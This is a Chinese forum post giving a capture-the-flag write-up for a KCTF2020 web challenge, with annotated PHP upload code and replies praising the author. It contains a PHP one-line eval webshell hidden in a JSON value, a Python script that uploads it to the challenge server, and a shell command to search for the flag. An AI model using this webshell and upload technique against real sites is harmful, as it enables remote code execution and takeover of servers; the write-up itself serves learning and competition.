首页
社区
课程
招聘
[原创] KCTF2020 第八题 牛刀小试
2020-4-30 15:39 5932

[原创] KCTF2020 第八题 牛刀小试

2020-4-30 15:39
5932

下载压缩文件后获得服务器地址

http://47.102.223.17:2333/

访问后得到php源码
进行代码审计发现两个可能存在的漏洞

<?php
    if (isset($_FILES["file"]["tmp_name"])) {
    $file = fopen($_FILES["file"]["tmp_name"], "r");
    $data = fread($file, filesize($_FILES["file"]["tmp_name"]));

    //这里存在json解析执行任意远程代码漏洞
    $arr = json_decode($data, true, 2);

    //判断文件内容是否为json
    if (json_last_error() != JSON_ERROR_NONE) {
        die("JsonErr");
    }

    //判断json是否只有一个节点
    if (count($arr) != 1) {
        die("DataErr");
    }

    //取出data节点的数据
    $data = $arr['data'];

    //判断文本长度是否小于56
    $len = strlen($data);
    if ($len > 56) {
        die("Long");
    }

    //只要json节点name不是data,这个正则就直绕过了
    if (preg_match("/[\[\]`'^=\/\\$.;]+/", $data)) {
        die("no");
    }

    //生成一个随机的文件名
    $name = mt_rand();
    $ext = strrchr($_FILES['file']['name'], '.');
    $ext = trim($ext);

    //把上传的文件拷贝到upload目录,这里存在绕过文件名限制漏洞,但和本题无关
    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $name . $ext);

    //打印新文件路径
    echo "upload/" . $name . $ext;

} else {

    //高亮显示当前文件代码
    highlight_file(__FILE__);
}
?>

写webshell,只要name不为data,value里面放一句话木马即可

{"ok":"<?php @eval($_POST['cmd']); ?>"}

然后写了个python脚本上传文件(Postman代理没配好,浪费时间了)

import requests

url = 'http://47.102.223.17:2333/'

def upload_file():

    files = [
        ('file', open('getshell.php', 'rb'))
    ]

    response = requests.request("POST", url, files=files)

    print(response.text)

if __name__ == '__main__':
    upload_file()

上传成功后发现一句话木马不见了,那就是成功被执行了
图片描述

 

用蚁剑连接
图片描述

 

然后在根目录下找到了flag
图片描述
PS:一定要认真读题啊,我还一直以为flag在apache的目录下,一直没找到flag...

 

然后写了个找flag的脚本。。。 IQ-100

<?php system("find / -name  *flag*") ?>
<h1>xtgo writeup</h1>

全篇完。


[培训]《安卓高级研修班(网课)》月薪三万计划

最后于 2020-4-30 15:42 被xjklewh编辑 ,原因: 调整代码格式
收藏
点赞3
打赏
分享
最新回复 (4)
雪    币: 10421
活跃值: (6504)
能力值: ( LV12,RANK:214 )
在线值:
发帖
回帖
粉丝
neilwu 1 2020-5-1 20:31
2
0
大佬厉害厉害
雪    币: 401
活跃值: (778)
能力值: ( LV4,RANK:58 )
在线值:
发帖
回帖
粉丝
xjklewh 2020-5-1 21:10
3
0
neilwu 大佬厉害厉害
安卓大佬过奖了
雪    币: 5568
活跃值: (2931)
能力值: ( LV12,RANK:394 )
在线值:
发帖
回帖
粉丝
htg 4 2020-5-1 21:10
4
0
大佬出手,就是厉害
雪    币: 401
活跃值: (778)
能力值: ( LV4,RANK:58 )
在线值:
发帖
回帖
粉丝
xjklewh 2020-5-1 21:22
5
0
htg 大佬出手,就是厉害
现学现卖,感谢大佬关注
游客
登录 | 注册 方可回帖
返回